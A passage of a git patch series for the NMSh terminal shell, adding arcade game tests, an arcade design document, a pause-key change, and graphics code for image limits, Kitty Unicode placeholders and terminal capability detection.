frame.rows) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${columns}x${rows} ${phase}: ${stripAnsi(row)}`); + } + session.dispose(); + } finally { rmSync(dir, {recursive: true, force: true}); } + } + const f = fixture(); + try { + f.key('enter'); + f.log.length = 0; + f.session.resize(60, 14); + assert.deepEqual(f.log, ['resize:60x11']); + } finally { f.done(); } +}); + +test('dispose: releases the game once, persists and is safe to repeat', () => { + const f = fixture(); + f.key('enter'); + f.session.dispose(); f.session.dispose(); + assert.equal(f.log.filter(line => line === 'dispose').length, 1); + assert.equal(f.session.key({kind: 'enter'}), 'close'); + rmSync(f.dir, {recursive: true, force: true}); +}); + +// ---- the app: ownership, isolation, clock lifecycle ----------------------------------------------------------- + +function appFixture() { + const frame = executionFrameFixture(100, 30); + const app = frame.app; + app['shellId'] = 'zsh'; + const key = (value: Key) => app['handleKey'](value); + return {frame, app, key, screen: () => frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n')}; +} + +test('app: /games opens the hub at the prompt, the arcade owns keys, Esc restores the composer exactly, nothing reaches the shell', async () => { + const f = appFixture(); + const submitted: string[] = []; + Object.defineProperty(f.frame.session, 'submit', {value: (text: string) => { submitted.push(text); }, configurable: true}); + const subscribers = presentationClock.subscriberCount; + try { + for (const char of 'draft') f.key({kind: 'text', value: char}); + f.app['editor'].clear(); + await f.app['runSlash']('/games', {kind: 'arcade'}); + assert.ok(f.app['arcade'], 'the arcade is open'); + assert.match(f.screen(), /Vespyr Arcade/u); + for (const char of 'ls') f.key({kind: 'text', value: char}); + f.key({kind: 'enter'}); + assert.deepEqual(submitted, [], 'typing and Enter in the arcade never reach the shell'); + assert.equal(f.app['editor'].text, '', 'nor the composer'); + for (let i = 0; i < 6 && f.app['arcade']; i += 1) f.key({kind: 'escape'}); + assert.equal(f.app['arcade'], undefined, 'Esc leaves the game, then the hub'); + assert.equal(f.app['editor'].text, ''); + assert.equal(presentationClock.subscriberCount, subscribers, 'every clock subscription is released'); + } finally { f.frame.dispose(); } +}); + +test('app: /game opens that game; an unknown name is explained; a running command blocks the arcade', async () => { + const f = appFixture(); + try { + await f.app['runSlash']('/game run', {kind: 'arcade', game: 'run'}); + assert.equal(f.app['arcade']?.session.definition?.id, 'run'); + f.app['closeArcade'](); + await f.app['runSlash']('/game tetris', {kind: 'arcade', game: 'tetris'}); + assert.equal(f.app['arcade'], undefined); + assert.match(f.screen(), /No game named "tetris"/u); + f.frame.begin('sleep 5'); + await f.app['runSlash']('/games', {kind: 'arcade'}); + assert.equal(f.app['arcade'], undefined, 'never over a running command'); + assert.match(f.screen(), /let the running command finish first/u); + } finally { f.frame.dispose(); } +}); + +test('app: a command that starts while the arcade is open closes it, so a game can never take its input', async () => { + const f = appFixture(); + const subscribers = presentationClock.subscriberCount; + try { + await f.app['runSlash']('/game run', {kind: 'arcade', game: 'run'}); + assert.ok(f.app['arcade']); + f.frame.begin('read -s password'); + assert.equal(f.app['arcade'], undefined); + assert.match(f.screen(), /Closed the arcade/u); + assert.equal(presentationClock.subscriberCount, subscribers); + } finally { f.frame.dispose(); } +}); + +test('app: stopping NMSh while a game runs releases its clock and persists', async () => { + const f = appFixture(); + const subscribers = presentationClock.subscriberCount; + await f.app['runSlash']('/game run', {kind: 'arcade', game: 'run'}); + f.frame.dispose(); + assert.equal(f.app['arcade'], undefined); + assert.equal(presentationClock.subscriberCount <= subscribers, true); + void TerminalApp; +}); From 48faeb030aa585d16fd3d6a5e36d0afb2c1f67dd Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:30:21 +0530 Subject: [PATCH 109/157] Arcade: p pauses any playing game; arcade design document --- docs/design/arcade.md | 70 +++++++++++++++++++++++++++++++++++++ src/arcade/ArcadeSession.ts | 2 +- 2 files changed, 71 insertions(+), 1 deletion(-) create mode 100644 docs/design/arcade.md diff --git a/docs/design/arcade.md b/docs/design/arcade.md new file mode 100644 index 00000000..c38e1e0c --- /dev/null +++ b/docs/design/arcade.md @@ -0,0 +1,70 @@ +# Vespyr Arcade + +`/games`, `/game` and `/arcade` open one hub with five games, all offline and local: **Vespyr Run**, **Vespyr Flight**, +**Vespyr Dash**, **Classic Sudoku** and **Vespyr Doku**. `/game run|flight|dash|sudoku|vespyr-doku` (or any alias, see +`src/arcade/registry.ts`) opens a game directly. There is one command implementation and no per-game global command: a +new game is one directory under `src/arcade/games/` and one line in the registry. + +Vespyr, the NMSh cat (`src/idle/catSprite.ts`), is the player in every action game. Games draw their cat from that +sprite's silhouette, tinted by the theme through `arcadePalette().cat`. + +## What owns what + +| Piece | File | Responsibility | +|---|---|---| +| Session | `ArcadeSession.ts` | The hub, a running game, pause and game over menus. The only code that talks to a game. Owns keys and frames while the panel is open. | +| Host wiring | `app/TerminalApp.ts` (`openArcade`, `closeArcade`, `syncArcadeClock`) | Refuses to open over a running command or a foreground program; closes if a command starts; subscribes to `presentationClock` for exactly as long as the session wants frames; releases everything on close and on stop. | +| Contract | `types.ts` | `GameDefinition`, `GameInstance`, `GameContext`. | +| Drawing | `Canvas.ts` | Cell grid, half-block `PixelBuffer`, `BrailleBuffer`, cached row encoding that honours color level, NO_COLOR and Safe Glyphs. | +| Loop | `loop.ts` | `FixedStep`: equal simulation steps at any frame rate; stalls are clamped. | +| Randomness | `rng.ts` | Seeded `Rng` (mulberry32). Never `Math.random`. | +| Effects | `effects.ts` | `ParticleSystem`, `Trail`, `Popups`, `Flash`, `Shake`, scaled by the effects level; reduced motion removes shake and flashes. | +| Colors | `palette.ts` | Everything derives from the active theme and Chroma roles (`arcadePalette()`, `skyAt`, `regionColors`). No private arcade palette. | +| Menus | `menu.ts` | The shared vertical choice list with the standard selection treatment. | +| Scores | `scores.ts` | `/arcade.json`: versioned, bounded, validated, atomically written, owner-only. A damaged file is set aside; a newer file is read-only. | +| Typography | `ui/typography.ts` | Semantic roles (`title`, `celebration`, `counter`…); scaled by OSC 66 where verified, ordinary styled text elsewhere. | + +## Game contract + +A game is a deterministic state machine plus a renderer. It never reads the clock, the terminal, the filesystem or the +global theme; `GameContext` hands it a size, a seed and `Rng`, motion preferences, color level, Safe Glyphs, a record +handle and `now()`. + +- `step(dtMs)` is called with exactly one fixed step (1000/60 ms) and only while `status === 'playing'`. +- `animate(dtMs)` is called every frame with real elapsed time, for purely visual timers. +- `render(canvas, alpha, palette)` draws the whole playfield and HUD into the canvas it is given (any size from 20 × 8). +- `key(key)` receives every key except Esc and `p` while `status === 'playing'` (the session pauses the game and shows the shared pause menu) and Ctrl+C (the session closes). + Return `'back'` to leave to the hub, `'exit'` to close the arcade. +- Status is `ready → playing → over | won`; `result` carries the score text, `record: true` for a new best, and detail + lines for the shared game over card (Retry, Back to Arcade, Exit). +- `persist()` saves whatever must survive leaving (a puzzle in progress); `dispose()` releases everything. + +NMSh delivers key presses only (no key release). A held key repeats, so "variable jump height" is built from repeated +presses or a short window, never from release events. + +## Records + +Each game keeps its statistics under its id in `arcade.json` (`run`: `best`, `bestDistance`, `runs`; `flight`: +`best`, `bestPassed`, `attempts`; `dash`: `best`, `bestDistance`, `attempts`; `sudoku`: `bestTimes.`, +`completed`, `streak`, `current`; `vespyr-doku`: likewise). Values are bounded plain JSON; the store refuses anything +else. QA launchers use their own `XDG_CONFIG_HOME`, so test sessions never touch personal scores. + +## Accessibility and safety + +- NO_COLOR: nothing relies on color alone; solid glyphs, patterns and labels carry meaning (the canvas encoder degrades + pixels to solid glyphs, and Safe Glyphs to ASCII). +- Reduced motion: no screen shake, no flashes, no parallax drift beyond what play needs; the hub stops animating. +- The arcade never opens over a running command, and a command that starts closes it, so a game cannot take a password + or reply meant for a program. It does not touch queues, sessions or background tasks. +- Frames are drawn into the panel; they are never written to the transcript or history. + +## Libraries evaluated + +| Library | License | Size | Decision | +|---|---|---|---| +| `sudoku-gen` | MIT | 32 KB, no dependencies | Candidate generator for Classic Sudoku; see the Sudoku notes for what was verified. | +| `sudoku.js` (robatron) | MIT | small | Not used (unmaintained, global style). | +| `terminal-kit` | MIT | 4 MB + dependency tree | Not used: a competing terminal framework. | +| `blessed` | MIT | large | Not used: a competing terminal framework, unmaintained. | +| `rot.js` | BSD-3 | 2.5 MB | Not used: roguelike toolkit; the Canvas covers rendering. | +| Queens / Star Battle generators | various, mostly unlicensed | tiny | Not used: none vetted; Vespyr Doku has its own generator and an independent solver. | diff --git a/src/arcade/ArcadeSession.ts b/src/arcade/ArcadeSession.ts index 4a1f4264..805ffe7c 100644 --- a/src/arcade/ArcadeSession.ts +++ b/src/arcade/ArcadeSession.ts @@ -215,7 +215,7 @@ export class ArcadeSession { const game = this.game!; // Esc pauses a running game and leaves a game that has not started; every other key belongs to the game. if (key.kind === 'escape' && game.status === 'playing') { game.pause(); this.showPause(); return 'handled'; } - if (key.kind === 'text' && key.value.toLowerCase() === 'p' && game.status === 'playing' && game.stepsPerSecond > 0) { game.pause(); this.showPause(); return 'handled'; } + if (key.kind === 'text' && key.value.toLowerCase() === 'p' && game.status === 'playing') { game.pause(); this.showPause(); return 'handled'; } const outcome = game.key(key); if (outcome === 'exit') return 'close'; if (outcome === 'back' || (key.kind === 'escape' && outcome === 'ignored')) { this.leaveGame(); return 'handled'; } From b9fe5766ac1cf67c88e20795531b69947cff7e06 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:33:58 +0530 Subject: [PATCH 110/157] Graphics: shared raster types, limits and Kitty placeholder diacritics --- src/graphics/diacritics.ts | 33 +++++++++++++++++++++ src/graphics/raster.ts | 59 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 92 insertions(+) create mode 100644 src/graphics/diacritics.ts create mode 100644 src/graphics/raster.ts diff --git a/src/graphics/diacritics.ts b/src/graphics/diacritics.ts new file mode 100644 index 00000000..83fac01e --- /dev/null +++ b/src/graphics/diacritics.ts @@ -0,0 +1,33 @@ +/** Kitty's row/column diacritics for Unicode image placeholders (gen/rowcolumn-diacritics.txt, Unicode 6.0.0 combining marks). Index = row or column number. */ +export const PLACEHOLDER_DIACRITICS: readonly number[] = [ + 0x0305, 0x030D, 0x030E, 0x0310, 0x0312, 0x033D, 0x033E, 0x033F, 0x0346, 0x034A, + 0x034B, 0x034C, 0x0350, 0x0351, 0x0352, 0x0357, 0x035B, 0x0363, 0x0364, 0x0365, + 0x0366, 0x0367, 0x0368, 0x0369, 0x036A, 0x036B, 0x036C, 0x036D, 0x036E, 0x036F, + 0x0483, 0x0484, 0x0485, 0x0486, 0x0487, 0x0592, 0x0593, 0x0594, 0x0595, 0x0597, + 0x0598, 0x0599, 0x059C, 0x059D, 0x059E, 0x059F, 0x05A0, 0x05A1, 0x05A8, 0x05A9, + 0x05AB, 0x05AC, 0x05AF, 0x05C4, 0x0610, 0x0611, 0x0612, 0x0613, 0x0614, 0x0615, + 0x0616, 0x0617, 0x0657, 0x0658, 0x0659, 0x065A, 0x065B, 0x065D, 0x065E, 0x06D6, + 0x06D7, 0x06D8, 0x06D9, 0x06DA, 0x06DB, 0x06DC, 0x06DF, 0x06E0, 0x06E1, 0x06E2, + 0x06E4, 0x06E7, 0x06E8, 0x06EB, 0x06EC, 0x0730, 0x0732, 0x0733, 0x0735, 0x0736, + 0x073A, 0x073D, 0x073F, 0x0740, 0x0741, 0x0743, 0x0745, 0x0747, 0x0749, 0x074A, + 0x07EB, 0x07EC, 0x07ED, 0x07EE, 0x07EF, 0x07F0, 0x07F1, 0x07F3, 0x0816, 0x0817, + 0x0818, 0x0819, 0x081B, 0x081C, 0x081D, 0x081E, 0x081F, 0x0820, 0x0821, 0x0822, + 0x0823, 0x0825, 0x0826, 0x0827, 0x0829, 0x082A, 0x082B, 0x082C, 0x082D, 0x0951, + 0x0953, 0x0954, 0x0F82, 0x0F83, 0x0F86, 0x0F87, 0x135D, 0x135E, 0x135F, 0x17DD, + 0x193A, 0x1A17, 0x1A75, 0x1A76, 0x1A77, 0x1A78, 0x1A79, 0x1A7A, 0x1A7B, 0x1A7C, + 0x1B6B, 0x1B6D, 0x1B6E, 0x1B6F, 0x1B70, 0x1B71, 0x1B72, 0x1B73, 0x1CD0, 0x1CD1, + 0x1CD2, 0x1CDA, 0x1CDB, 0x1CE0, 0x1DC0, 0x1DC1, 0x1DC3, 0x1DC4, 0x1DC5, 0x1DC6, + 0x1DC7, 0x1DC8, 0x1DC9, 0x1DCB, 0x1DCC, 0x1DD1, 0x1DD2, 0x1DD3, 0x1DD4, 0x1DD5, + 0x1DD6, 0x1DD7, 0x1DD8, 0x1DD9, 0x1DDA, 0x1DDB, 0x1DDC, 0x1DDD, 0x1DDE, 0x1DDF, + 0x1DE0, 0x1DE1, 0x1DE2, 0x1DE3, 0x1DE4, 0x1DE5, 0x1DE6, 0x1DFE, 0x20D0, 0x20D1, + 0x20D4, 0x20D5, 0x20D6, 0x20D7, 0x20DB, 0x20DC, 0x20E1, 0x20E7, 0x20E9, 0x20F0, + 0x2CEF, 0x2CF0, 0x2CF1, 0x2DE0, 0x2DE1, 0x2DE2, 0x2DE3, 0x2DE4, 0x2DE5, 0x2DE6, + 0x2DE7, 0x2DE8, 0x2DE9, 0x2DEA, 0x2DEB, 0x2DEC, 0x2DED, 0x2DEE, 0x2DEF, 0x2DF0, + 0x2DF1, 0x2DF2, 0x2DF3, 0x2DF4, 0x2DF5, 0x2DF6, 0x2DF7, 0x2DF8, 0x2DF9, 0x2DFA, + 0x2DFB, 0x2DFC, 0x2DFD, 0x2DFE, 0x2DFF, 0xA66F, 0xA67C, 0xA67D, 0xA6F0, 0xA6F1, + 0xA8E0, 0xA8E1, 0xA8E2, 0xA8E3, 0xA8E4, 0xA8E5, 0xA8E6, 0xA8E7, 0xA8E8, 0xA8E9, + 0xA8EA, 0xA8EB, 0xA8EC, 0xA8ED, 0xA8EE, 0xA8EF, 0xA8F0, 0xA8F1, 0xAAB0, 0xAAB2, + 0xAAB3, 0xAAB7, 0xAAB8, 0xAABE, 0xAABF, 0xAAC1, 0xFE20, 0xFE21, 0xFE22, 0xFE23, + 0xFE24, 0xFE25, 0xFE26, 0x10A0F, 0x10A38, 0x1D185, 0x1D186, 0x1D187, 0x1D188, 0x1D189, + 0x1D1AA, 0x1D1AB, 0x1D1AC, 0x1D1AD, 0x1D242, 0x1D243, 0x1D244, +]; diff --git a/src/graphics/raster.ts b/src/graphics/raster.ts new file mode 100644 index 00000000..26112440 --- /dev/null +++ b/src/graphics/raster.ts @@ -0,0 +1,59 @@ +/** + * The shared vocabulary of NMSh's graphics service: what a decoded image is, what may be read, and how a failure is named. + * Decoders produce a `Raster`; encoders and renderers consume one. Nothing in this file touches the filesystem or the terminal. + */ + +/** Straight-alpha RGBA, row-major, `width * height * 4` bytes. */ +export interface Raster { + width: number; + height: number; + data: Uint8ClampedArray; +} + +export type ImageFormat = 'png' | 'jpeg' | 'gif' | 'webp' | 'svg' | 'unknown'; + +/** What a file header says, read without decoding any pixels. */ +export interface ImageInfo { + format: ImageFormat; + width: number; + height: number; + /** More than one frame (GIF, animated WebP): only the first frame is ever decoded. */ + animated: boolean; + /** The format can carry transparency (and this file declares it where the header says so). */ + alpha: boolean; + bytes: number; +} + +/** Hard resource limits. Every decoder enforces them before allocating, and a hostile file only ever gets an `ImageError`. */ +export const IMAGE_LIMITS = { + /** The most bytes read from one file. */ + maxFileBytes: 32 * 1024 * 1024, + /** The most pixels one image may declare (24 MP: 96 MB as RGBA). */ + maxPixels: 24_000_000, + /** The longest side one image may declare. */ + maxDimension: 16_384, + /** The most data a decompressor may produce (PNG IDAT), beyond the size the header implies. */ + maxInflatedBytes: 160 * 1024 * 1024, + /** GIF/WebP chunks scanned while counting frames. */ + maxChunkScan: 100_000, +} as const; + +export type ImageErrorCode = 'too-large' | 'malformed' | 'unsupported' | 'unavailable' | 'unsafe'; + +/** Anything wrong with an image: never an uncaught exception from a decoder. `message` is safe to show to the person. */ +export class ImageError extends Error { + constructor(readonly code: ImageErrorCode, message: string) { + super(message); + this.name = 'ImageError'; + } +} + +/** Throw `too-large` unless `width` x `height` is a real, bounded image size. */ +export function checkDimensions(width: number, height: number): void { + if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1) throw new ImageError('malformed', 'The image declares an invalid size.'); + if (width > IMAGE_LIMITS.maxDimension || height > IMAGE_LIMITS.maxDimension || width * height > IMAGE_LIMITS.maxPixels) { + throw new ImageError('too-large', `The image is larger than NMSh will decode (${width} × ${height}; at most ${IMAGE_LIMITS.maxPixels / 1_000_000} megapixels).`); + } +} + +export interface Rgb8 { red: number; green: number; blue: number } From e024cec238ed0db8b7d6eef01588d4a9058eaff4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:39:52 +0530 Subject: [PATCH 111/157] Graphics: extended host probe (text sizing, Sixel, pixel sizes), capability decision, Kitty placeholders, Images and Text sizing settings --- src/app/TerminalApp.ts | 2 +- src/graphics/capabilities.ts | 131 ++++++++++++++++++++++++++++ src/graphics/kittyPlaceholder.ts | 60 +++++++++++++ src/host/capabilities.ts | 11 +++ src/host/probe.ts | 61 +++++++++++-- src/prompt/configuration.ts | 14 ++- src/ui/SettingsPanel.ts | 12 ++- tests/graphicsCapabilities.test.ts | 133 +++++++++++++++++++++++++++++ tests/hostProbeExtended.test.ts | 74 ++++++++++++++++ 9 files changed, 487 insertions(+), 11 deletions(-) create mode 100644 src/graphics/capabilities.ts create mode 100644 src/graphics/kittyPlaceholder.ts create mode 100644 tests/graphicsCapabilities.test.ts create mode 100644 tests/hostProbeExtended.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 69404058..e4b51469 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -1408,7 +1408,7 @@ export class TerminalApp { process.stdin.resume(); return () => { process.stdin.off('data', receive); process.stdin.pause(); }; }, - }, undefined, {graphics: shouldProbeGraphics(process.env)}); + }, undefined, {graphics: shouldProbeGraphics(process.env), extended: process.env.TERM !== 'dumb'}); if (this.stopped) return this.done; this.host.capabilities = resolved.capabilities; this.renderer.setCapabilities(resolved.capabilities); diff --git a/src/graphics/capabilities.ts b/src/graphics/capabilities.ts new file mode 100644 index 00000000..84b9bd0e --- /dev/null +++ b/src/graphics/capabilities.ts @@ -0,0 +1,131 @@ +import type {TerminalCapabilities} from '../host/capabilities.js'; +import {terminalProfile} from '../host/capabilities.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import type {GraphicsMode} from '../prompt/configuration.js'; + +/** + * Which way NMSh draws a real image right now, and why. One function decides it for every surface (`/view`, Markdown, + * HTML, the browser, the About logo), so they never disagree. + * + * Evidence, strongest first: + * - a reply to the terminal's own query (Kitty graphics `a=q`, DA1 attribute 4 for Sixel): *verified*; + * - a known-host record where the protocol has no query (iTerm2 inline images): *host record*, labelled as such; + * - an explicit person's choice in Settings: *forced*, labelled "not confirmed" unless a query also confirmed it. + * A terminal's name alone never turns a protocol on, except for the sub-feature of Unicode placeholders (below), which only + * ever refines a protocol that was already verified. Multiplexers hide the real terminal, so they always get character art. + * Everything else, and every uncertainty, is Unicode character art. + */ +export type GraphicsBackend = 'kitty' | 'iterm2' | 'sixel' | 'unicode' | 'off'; +export type GraphicsEvidence = 'query' | 'host' | 'forced' | 'none'; +export type UnicodeStyle = 'quadrant' | 'half' | 'ascii'; + +export interface GraphicsEnvironment { + capabilities: Readonly; + env: NodeJS.ProcessEnv; + mode: GraphicsMode; + color: ColorLevel; + safeGlyphs: boolean; + /** The terminal's size in cells, to turn a reported text-area size into a cell size. */ + columns?: number; + rows?: number; +} + +export interface GraphicsDecision { + /** The protocol used for a standalone image surface (the viewer). */ + backend: GraphicsBackend; + evidence: GraphicsEvidence; + /** + * What an image placed in the flow of a document uses: Kitty Unicode placeholders (the image behaves like text, so it + * scrolls, clips and repaints with the rows), character art, or nothing (placeholders only). + */ + inline: 'placeholder' | 'unicode' | 'none'; + unicode: UnicodeStyle; + cell: {width: number; height: number; source: 'terminal' | 'window' | 'estimated'}; + /** One sentence for `/doctor` and for explaining a fallback. */ + reason: string; +} + +/** A cell is about twice as tall as wide when the terminal does not say. */ +export const ESTIMATED_CELL = {width: 8, height: 16}; + +/** Hosts that implement Kitty's Unicode placeholders (kitty 0.28+, Ghostty). Used only after Kitty graphics was verified. */ +const PLACEHOLDER_HOSTS: ReadonlySet = new Set(['kitty', 'ghostty']); + +export function isMultiplexed(env: NodeJS.ProcessEnv): boolean { + return Boolean(env.TMUX || env.STY || env.ZELLIJ) || /^(?:tmux|screen)/u.test(env.TERM ?? ''); +} + +export function decideGraphics(input: GraphicsEnvironment): GraphicsDecision { + const {capabilities, env, mode, color, safeGlyphs} = input; + const unicode: UnicodeStyle = color === 'none' || safeGlyphs ? 'ascii' : color === 'ansi16' ? 'half' : 'quadrant'; + const cell = cellSize(input); + const base = {unicode, cell}; + if (mode === 'off') return {...base, backend: 'off', evidence: 'none', inline: 'none', reason: 'Images are off in Settings; a placeholder names each image.'}; + if (env.NMSH_IMAGES === '0') return {...base, backend: 'unicode', evidence: 'none', inline: 'unicode', reason: 'NMSH_IMAGES=0 turns native protocols off; images are drawn as character art.'}; + if (env.TERM === 'dumb') return {...base, backend: 'unicode', evidence: 'none', inline: 'unicode', unicode: 'ascii', reason: 'TERM=dumb: images are drawn as plain character art.'}; + const character = (reason: string): GraphicsDecision => ({...base, backend: 'unicode', evidence: 'none', inline: 'unicode', reason}); + if (mode === 'unicode') return character('Images are set to character art in Settings.'); + if (isMultiplexed(env)) { + return character(mode === 'auto' + ? 'tmux, screen and Zellij hide the real terminal, so images are drawn as character art (graphics need passthrough, which NMSh does not use).' + : `${modeName(mode)} was chosen, but a terminal multiplexer is in between and needs passthrough, which NMSh does not use; images are drawn as character art.`); + } + const profile = terminalProfile(env); + const verifiedKitty = capabilities.graphicsProtocol === 'kitty'; + const colorNeeded = color === 'none'; + // Kitty placeholders carry the image's identity in a text color, so they need color; without it character art is used. + const kittyInline = (): GraphicsDecision['inline'] => (!colorNeeded && PLACEHOLDER_HOSTS.has(profile) ? 'placeholder' : 'unicode'); + if (mode === 'kitty') { + return {...base, backend: 'kitty', evidence: verifiedKitty ? 'query' : 'forced', inline: kittyInline(), + reason: verifiedKitty ? 'Kitty graphics, confirmed by this terminal.' : 'Kitty graphics, chosen in Settings. This terminal did not confirm it; if images look wrong set Images to Auto.'}; + } + if (mode === 'iterm2') { + const known = capabilities.graphicsProtocol === 'iterm2'; + return {...base, backend: 'iterm2', evidence: known ? 'host' : 'forced', inline: 'unicode', + reason: known ? 'iTerm2 inline images (known host; the protocol has no query).' : 'iTerm2 inline images, chosen in Settings. This terminal is not known to support them; if images look wrong set Images to Auto.'}; + } + if (mode === 'sixel') { + return {...base, backend: 'sixel', evidence: capabilities.sixel ? 'query' : 'forced', inline: 'unicode', + reason: capabilities.sixel ? 'Sixel, confirmed by this terminal.' : 'Sixel, chosen in Settings. This terminal did not report Sixel support; if images look wrong set Images to Auto.'}; + } + // Auto. + if (verifiedKitty) { + return {...base, backend: 'kitty', evidence: 'query', inline: kittyInline(), + reason: `Kitty graphics, confirmed by this terminal${kittyInline() === 'placeholder' ? '; images in documents use Unicode placeholders' : '; images in documents are character art'}.`}; + } + if (capabilities.graphicsProtocol === 'iterm2') { + return {...base, backend: 'iterm2', evidence: 'host', inline: 'unicode', reason: 'iTerm2 inline images (known host; the protocol has no query). Images in documents are character art.'}; + } + if (capabilities.sixel) { + return {...base, backend: 'sixel', evidence: 'query', inline: 'unicode', reason: 'Sixel, confirmed by this terminal. Images in documents are character art.'}; + } + return character(profile === 'zed' + ? 'Zed has no image protocol NMSh can verify; images are drawn as character art (lower resolution than Ghostty or Kitty).' + : 'This terminal did not confirm a graphics protocol; images are drawn as character art.'); +} + +function modeName(mode: GraphicsMode): string { + return mode === 'kitty' ? 'Kitty graphics' : mode === 'iterm2' ? 'iTerm2 inline images' : mode === 'sixel' ? 'Sixel' : mode; +} + +function cellSize(input: GraphicsEnvironment): GraphicsDecision['cell'] { + const {capabilities, columns, rows} = input; + if (capabilities.cellPixels) return {...capabilities.cellPixels, source: 'terminal'}; + if (capabilities.windowPixels && columns && rows && columns > 0 && rows > 0) { + const width = Math.round(capabilities.windowPixels.width / columns); + const height = Math.round(capabilities.windowPixels.height / rows); + if (width >= 4 && width <= 64 && height >= 8 && height <= 128) return {width, height, source: 'window'}; + } + return {...ESTIMATED_CELL, source: 'estimated'}; +} + +/** The lines `/doctor` shows. */ +export function describeGraphics(decision: GraphicsDecision): string[] { + const label: Record = {kitty: 'Kitty graphics', iterm2: 'iTerm2 inline images', sixel: 'Sixel', unicode: 'Unicode character art', off: 'Off'}; + return [ + `Images: ${label[decision.backend]}${decision.evidence === 'query' ? ' (verified)' : decision.evidence === 'host' ? ' (known host)' : decision.evidence === 'forced' ? ' (chosen, not confirmed)' : ''}`, + `In documents: ${decision.inline === 'placeholder' ? 'Kitty Unicode placeholders' : decision.inline === 'unicode' ? 'character art' : 'placeholder text'}`, + `Character art: ${decision.unicode === 'quadrant' ? 'quadrant blocks' : decision.unicode === 'half' ? 'half blocks' : 'ASCII'}; cell ${decision.cell.width} × ${decision.cell.height} px (${decision.cell.source})`, + decision.reason, + ]; +} diff --git a/src/graphics/kittyPlaceholder.ts b/src/graphics/kittyPlaceholder.ts new file mode 100644 index 00000000..cdaedf30 --- /dev/null +++ b/src/graphics/kittyPlaceholder.ts @@ -0,0 +1,60 @@ +import {PLACEHOLDER_DIACRITICS} from './diacritics.js'; + +/** + * Kitty graphics with Unicode placeholders: the image is transmitted once, a *virtual* placement says how many cells it + * covers, and the document then holds ordinary text cells (U+10EEEE plus a row and a column diacritic, colored with the + * image's id). The terminal paints the right slice of the image under each cell, so the image scrolls, clips, wraps and + * repaints exactly like the rows around it, and NMSh's diffing renderer needs no knowledge of it. Deleting the image + * (`a=d,d=I`) removes it everywhere. + * See https://sw.kovidgoyal.net/kitty/graphics-protocol/#unicode-placeholders + */ +export const PLACEHOLDER_CHAR = String.fromCodePoint(0x10eeee); +/** The most rows or columns one image can span: the diacritic table's length. */ +export const MAX_PLACEHOLDER_SPAN = PLACEHOLDER_DIACRITICS.length; + +const ESC = '\u001b'; +const ST = `${ESC}\\`; + +/** Ids are 24-bit so one truecolor foreground carries them; NMSh's range is kept apart from programs' own. */ +export const PLACEHOLDER_ID_BASE = 0x4e4d00; +export const PLACEHOLDER_ID_LIMIT = 0xffffff; + +/** The virtual placement: how many cells image `id` covers when a placeholder cell names it. */ +export function kittyVirtualPlacement(id: number, columns: number, rows: number): string { + checkId(id); + if (columns < 1 || rows < 1 || columns > MAX_PLACEHOLDER_SPAN || rows > MAX_PLACEHOLDER_SPAN) throw new RangeError('placeholder placement out of range'); + return `${ESC}_Ga=p,U=1,i=${id},c=${Math.floor(columns)},r=${Math.floor(rows)},q=2${ST}`; +} + +/** Placeholder rows for an image `columns` x `rows` cells: text, one string per row, each exactly `columns` cells wide. */ +export function placeholderRows(id: number, columns: number, rows: number): string[] { + checkId(id); + if (columns < 1 || rows < 1 || columns > MAX_PLACEHOLDER_SPAN || rows > MAX_PLACEHOLDER_SPAN) throw new RangeError('placeholder span out of range'); + const color = `${ESC}[38;2;${(id >> 16) & 255};${(id >> 8) & 255};${id & 255}m`; + const out: string[] = []; + for (let row = 0; row < rows; row += 1) { + let line = color; + // The row diacritic is written on the first cell; later cells of the row inherit it (the protocol allows omitting + // repeated values), but spelling every cell out keeps a partly repainted row correct, so each cell carries both. + for (let column = 0; column < columns; column += 1) { + line += `${PLACEHOLDER_CHAR}${String.fromCodePoint(PLACEHOLDER_DIACRITICS[row]!)}${String.fromCodePoint(PLACEHOLDER_DIACRITICS[column]!)}`; + } + out.push(`${line}${ESC}[39m`); + } + return out; +} + +/** Remove an image and every placement of it, freeing its data. */ +export function kittyDeleteImage(id: number): string { + checkId(id); + return `${ESC}_Ga=d,d=I,i=${id},q=2${ST}`; +} + +function checkId(id: number): void { + if (!Number.isInteger(id) || id < 1 || id > PLACEHOLDER_ID_LIMIT) throw new RangeError('placeholder image id out of range'); +} + +/** True when text holds any Kitty graphics bytes (for tests proving a fallback emitted none). */ +export function containsKittyBytes(text: string): boolean { + return text.includes(`${ESC}_G`) || text.includes(PLACEHOLDER_CHAR); +} diff --git a/src/host/capabilities.ts b/src/host/capabilities.ts index 922bfa26..302b697d 100644 --- a/src/host/capabilities.ts +++ b/src/host/capabilities.ts @@ -5,6 +5,17 @@ export interface TerminalCapabilities { appearanceIntegration: boolean; hostConfiguration: boolean; graphicsProtocol: 'none' | 'kitty' | 'iterm2' | 'sixel'; + /** DA1 listed Sixel (attribute 4). Evidence from the terminal's own reply; independent of `graphicsProtocol`. */ + sixel?: boolean; + /** + * Kitty's text sizing protocol (OSC 66), detected independently of graphics by the cursor-position method of the + * specification: `width` when an explicit-width space advanced the cursor two cells, `scale` when a doubled-scale space advanced + * it two more. Absent when the probe did not run or got no answers. + */ + textSizing?: {scale: boolean; width: boolean}; + /** The terminal's own report of one cell's size and of its text area in pixels (xterm window operations 16 and 14). */ + cellPixels?: {width: number; height: number}; + windowPixels?: {width: number; height: number}; mouseReporting: boolean; mouseMovement: boolean; clickSupport: boolean; diff --git a/src/host/probe.ts b/src/host/probe.ts index 68764897..b7f29015 100644 --- a/src/host/probe.ts +++ b/src/host/probe.ts @@ -9,15 +9,54 @@ export const HOST_QUERY = '\u001b[?u\u001b[?2026$p'; */ export const GRAPHICS_QUERY = '\u001b_Gi=31,s=1,v=1,a=q,t=d,f=24;AAAA\u001b\\'; +/** + * Text sizing (OSC 66) detection, as 